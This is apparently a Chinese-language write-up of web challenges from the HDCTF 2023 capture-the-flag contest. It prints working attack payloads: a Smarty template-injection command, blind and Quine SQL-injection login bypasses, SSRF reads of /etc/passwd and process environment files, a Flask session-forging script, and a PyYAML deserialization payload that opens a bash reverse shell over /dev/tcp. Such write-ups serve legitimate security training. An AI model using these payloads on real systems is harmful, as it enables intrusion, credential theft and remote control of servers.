- 前言
由海南大学网络空间安全学院（密码学院），海南大学网络空间安全协会主办，NSSCTF 平台与HnuSec 网安实验室承办，杭州安恒信息技术股份有限公司提供赞助支持的海南大学第四届网络安全技能挑战赛
因为上石油工程认知只做了半小时题，赛后才来复现，和阿里云CTF和DASCTF x SU都堆一天了hhh
Web
Welcome To HDCTF 2023
js签到题，可以直接找源码
代码语言：javascript复制/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释
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[]]] [])[! [] ! [] ! []] (!![] [])[! [] ! [] ! []]](( (( ( ! [] [ ! []] (!![] [])[! [] ! [] ! []] [! [] ! []] [ []]) [])[ ! []] [ [] [ []] [ []] [ []] [ []] [ []] [ []] [ []] [ []] [ ! []]]) [])[! [] ! []] [ ! []])
*/
function gameOver() {
alert(seeeeeeeecret)
//isOver=true;
/*for(i in ais){
ais[i].drawAi();
}*/
J.showWait("您已阵亡", "error");
//J.id("showInfo").slideDown();
}这个seeeeeeeecret是jsfuck编码，放进控制台console里面回车就能出flag
或者直接到处乱撞也能出flag
SearchMaster
提示模板都一样我很抱歉OVO BUT YOU CAN POST ME A data，盲猜模板注入，先用burp POST一个data=1试试
发现了同样的输出。这道题是PHP后端，试试之前做过的tornado的payload
代码语言：javascript复制data={{handler.setting}}发现了一堆报错，报错里面有段信息很显眼/var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php
这里就能判断出用的是Smarty模板，那就是Smarty模板注入了
一般输入{$smarty.version}就能看到Smarty的版本号，该题版本是4.1.0
直接data={system('cat /f*')}得到flag
LoginMaster（复现）
进入是一个登录框，尝试万能密码，提示只有admin才能登录，并且注册功能是假的，则只有password字段可控
尝试注入password字段，发现有过滤并返回hacker
没多的信息了，尝试找找源码泄露，一眼robots.txt
果然存在waf泄露
代码语言：javascript复制function checkSql($s)
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|||right|left|reverse|update|extractvalue|floor|substr|&|;|\$|0x|sleep| /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');老师傅可能会发现是第五空间智能安全大赛-Web-yet_another_mysql_injection（quine注入）的考点
这里使用正则表达式做了过滤，if 判断了从数据库中查到的密码是否和用户输入的是一样的，只有完全一致才会得到FLAG
开始想利用union创建虚拟表伪造密码，结果不太行
看了wp才知道这是Quine注入
Quine又叫做自产生程序，在sql注入技术中，这是一种使得输入的sql语句和输出的sql语句一致的技术，常用于一些特殊的登陆绕过sql注入中
首先时间盲注发现这是一个空表
代码语言：javascript复制union/**/select/**/if((select/**/ascii(mid((select/**/group_concat(table_name)from/**/sys.schema_table_statistics_with_buffer/**/where/**/table_schema/**/like/**/database()),0,1))/**/like/**/1),(select/**/benchmark(4999999,md5('test'))),1)#再看这段waf代码要求的是执行sql的结果与password相同，那么除了正常逻辑的密码相同会产生相等，如果我们的输入与最后的结果相等，那么一样可以绕过验证。这种技术就是Quine
代码语言：javascript复制password=1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#这里直接给payload，下篇文章细说
YamiYami（复现）
首先给了三个路由，/read一眼SSRF，直接file协议读文件试试发现没问题
/read?url=file:///etc/passwd然后还有/upload是任意文件上传，但没有上传文件的路径
/pwd路由提示/app，盲猜是当前web目录
非预期解
直接读进程里的环境变量/proc/<pid>/environ
?url=file:///proc/1/environ就得到flag了
预期解
没其他信息就想办法通过伪协议读取源码咯,file:///app/app.py
但存在过滤
代码语言：javascript复制re.findall('app.*', url, re.IGNORECASE)这里采用双重url编码关键字绕过
app经过url编码结果为%61%70%70
?url=file:///%61%70%70/%61%70%70.py源码为
代码语言：javascript复制
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
可以发现在/boogipop路由存在PyYaml反序列化漏洞，要进入这里就得使session.get("passport")=="Welcome To HDCTF2023"为真，因此需要伪造session
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)可以发现随机种子来自uuid.getnode()，而uuid 模块使用 getnode() 来获取当前系统的 MAC 地址值，如果一个系统的网卡多于一块，那么就有多个 MAC 地址，因此返回的值可能是其中的任意一个。所以只要找到目标机MAC地址，就能通过已知的随机种子得到可知的伪随机数从而伪造session
/sys/class/net/eth0/address，这个就是eth0网卡的位置，读取他进行伪造SECRET_KEY
file:///sys/class/net/eth0/address然后用脚本进行session伪造即可
代码语言：javascript复制# !/usr/bin/env python3
"""
python flask_session_en_de.py decode -s “” -c “”
python flask_session_en_de.py encode -s “” -t “”
//其中session值填在 -c 后面，SECRET_KEY填在 -s 后面
//解密得到的东西填在 -t 后面，SECRET_KEY填在 -s 后面
"""
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
进入if判断后，PyYaml反序列化RCE即可
代码语言：javascript复制!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c "bash -i >& /dev/tcp/ip/port <&1"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list另外俩Java题现在还不会
EasyJava考点是FastJson Rome 二次反序列化打入SpringBoot高版本内存马
BabyJXvX考点是Apache SCXML2 RCE
这里附上出题人的wp链接
